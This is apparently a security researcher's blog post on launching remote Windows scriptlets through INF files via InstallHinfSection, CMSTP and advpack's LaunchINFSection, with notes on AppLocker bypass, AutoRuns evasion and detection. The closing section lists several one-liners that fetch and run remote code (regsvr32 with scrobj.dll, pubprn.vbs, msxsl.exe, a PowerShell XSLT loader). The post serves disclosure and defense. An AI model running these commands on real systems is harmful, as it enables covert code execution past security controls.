Over the last few weeks, I researched and tested a few interesting namespaces/methods documented on various Microsoft/MSDN sources that dealt with executing various COM scripts/scriptlets (e.g. VBscript, Jscript, etc.). In particular, I was curious to see if there were potentially new ways to invoke remote scripts (ActiveX Objects) by leveraging some of the great research already performed and documented by @subTee, @Oddvarmoe, @ItsReallyNick, @KyleHanslovan, @ChrisBisnett, and @NickTyrer. There were some interesting findings, but the one that really stood out was the discovery of LaunchINFSection, a ‘new’ method to remotely launch staged SCT files configured within INF files.
In this post, we’ll discuss several known INF-SCT launch methods, introduce LaunchINFSection, and dive into use cases/defensive considerations. Additionally, we’ll reference other techniques for remote script/scriptlet execution.
INF-SCT Launch Methods
Methods for launching script component files (‘.sct’) via INF configuration files include InstallHinfSection (setupapi.dll), CMSTP, and LaunchINFSection (advpack.dll). Let’s dive in…
Malicious INF-SCT Usage with InstallHinfSection
At DerbyCon 2017, @KyleHanslovan and @ChrisBisnett of @HuntressLabs presented a very interesting topic – Evading AutoRuns. In their presentation, they showcase a method for launching remote SCT via INF by invoking InstallHinfSection with the following command:
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 [path to file.inf]
Within the source INF file used for remote SCT execution, ‘rundll32.exe setupapi.dll,InstallHinfSection’ calls the default INF section (‘DefaultInstall’). Under this section, the Unregister DLLs directive (UnregisterDlls) calls the ‘Squiblydoo’ section to perform the ‘malicious’ action of invoking scrobj.dll to fetch and run the SCT script file.
Malicious INF-SCT Usage With CMSTP
About a month ago, @NickTyrer demonstrated on Twitter that INF files could be used to fetch SCT files from web resources to execute COM scripts/scriptlets using cmstp.exe, a utility that had been documented by @Oddvarmoe to bypass UAC and AppLocker default policies. For reference, basic usage for cmstp.exe is as follows:
cmstp.exe /s [file].inf
Within the source INF file used for remote SCT execution, cmstp.exe calls the INF section named ‘DefaultInstall_SingleUser’. Under this section, the OCX unregister directive (UnRegisterOCXs) calls the ‘UnRegisterOCXSection’ section to perform the ‘malicious’ action of invoking scrobj.dll to fetch and run the SCT script file.
Malicious INF/SCT Usage With LaunchINFSection
According to Microsoft documentation, LaunchINFSection is a method within the Advanced INF Package Installer (advpack.dll) that is used to invoke a particular section within a setup information (.inf) file. In the administrative sense, INF files are typically used as an instruction file for the installation of device drivers and/or Windows Cabinet (.cab) files, which may include registering Windows binaries (exe, dll, ocx), adding keys to the registry, and/or specifying critical parameter settings. The general method for LaunchINFSection invocation is as follows:
rundll32.exe advpack.dll,LaunchINFSection [file].inf,[INF Section],[Path to Cab].cab,[Installation Flags]
If the [INF Section] is not specified, LaunchINFSection will attempt to call DefaultInstall for the default section. Additionally, it is worth noting that the Advanced INF Package Installer also contains the function LaunchINFSectionEx as well as other character set comparability functions (e.g. LaunchINFSectionA), which effectively do the same thing as LaunchINFSection.
For proof of concept, we can simply modify the INF file used by @NickTyrer with a staged SCT script payload found here (big shout out to @subTee and @redcanaryco for providing their AtomicRedTeam scripts and many useful test payloads to the community). Let’s download the modified INF to the ‘target’ (test.inf) and invoke LaunchINFSection (using a placeholder value of ‘1’ for our non-existant cab file) with the following command:
rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall_SingleUser,1,
As shown in the following screenshot, our INF-SCT-Calc Scriptet payload was successfully launched:
Take note that we can also launch our payload in other, slightly different ways. If we change the INF file entry point section to ‘DefaultInstall’, we can launch our payload without section specification using the following command:
rundll32.exe advpack.dll,LaunchINFSection test.inf,,1,
The same payload is successfully launched:
Additionally, we can change the OCX unregister directive to a register directive (‘RegisterOCXs’) and supply a random name (e.g. ‘MoreFun’) to invoke the same payload:
Some Use Cases & Defensive Considerations
In addition to the environmental considerations above, defenders should keep an eye out for these:
In the wild, actors have leveraged malware INF payloads. @ItsReallyNick discovered several malware samples that actually took advantage of @NickTyrer’s CMSTP technique a few years ago. Other samples show malware from the early 2000s that appear to take advantage of more native administrative techniques using LaunchINFSection without INF-SCT execution.
Bypass, Evasion, & Persistence
In addition to bypassing Operating System security controls such as Application Whitelisting and User Account Control, CMSTP can be used for AutoRuns evasion and persistence. Here is a screenshot that does not show CMSTP when the ‘Hide Windows Entries’ flag is enabled within AutoRuns:
Here is a screenshot with CMSTP present without any filtering:
*Note: LaunchINFSection and InstallHinfSection do not appear to be evasive candidates for (newer) versions of AutoRuns because these methods rely on rundll32.exe to invoke the respective dll. These methods are not filtered after hiding Windows and Microsoft entries. However, LaunchINFSection proves to be a valid application whitelisting bypass technique as we were able to “gain code execution” against default AppLocker rules.
On the Network
Hopefully, network analysis is still important these days. Here is a sample GET request invoked by scrobj.dll to fetch a fake SCT file:
Take note of the User-Agent. Interestingly enough, I have seen this with other Microsoft utilities that have the ability to perform such requests. These days, it may be worth treating anything that remote fetches with scrutiny (I know – easier said than done).
Arbitrary File Names
Now for a kicker – SCT files are merely text/XML files and INF files are text files. In my basic testing, these files do not need a proper extension for invocation. In this example, we call ‘test.notinf’ and ‘test.notsct’ to successfully execute our ‘sct’ payload:
*Host Monitoring is essential. If budget is a constraint, consider using Sysmon (free) to feed your (open-source) SIEM. Monitor for the introduction of new “.inf” files within the environment and execution of such files with the methods described above.
*Application Whitelisting is still essential. Default AppLocker rules are pretty much based on path constraints. As I previously blogged about, some of these paths do allow users to write to sub-directories in sensitive hierarchical paths. Ensure these paths are locked down. This will at least help protect against a subset of execution techniques (and hopefully alert you when an event is triggered).
*INF execution is not the only way to invoke ‘sct’ scripts. I will blog about other methods in greater detail down the road (including some ‘new’ techniques), but here is a quick rundown of a few of them:
regsvr32 /s /n /u /i:http://url/file.sct scrobj.dll
pubprn.vbs 127.0.0.1 script:http://url/file.sct
Microsoft.JScript.Eval Assembly via PowerShell [Reference]
Microsoft.VisualBasic.Interaction Assembly via PowerShell [Reference]
*It is also worth noting that ‘sct’ is not the only player in the game. Here are a few other ‘remote’ XML/XSLT techniques that need to be monitored:
msxsl.exe http://url/file.xml http://url/file.xsl
System.Xml.Xsl.XslCompiledTransform Assembly via PowerShell [Reference]
$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('http://url/file.xsl',$s,$r);$x.Transform('http://url/file.xml','z');del z;
Thank you for taking the time to read this blog post. I will add content as I learn more and/or capture greater insight from the community. If you have questions/comments/or notice that I left out anything important, send me an email through the contact page or DM me on Twitter.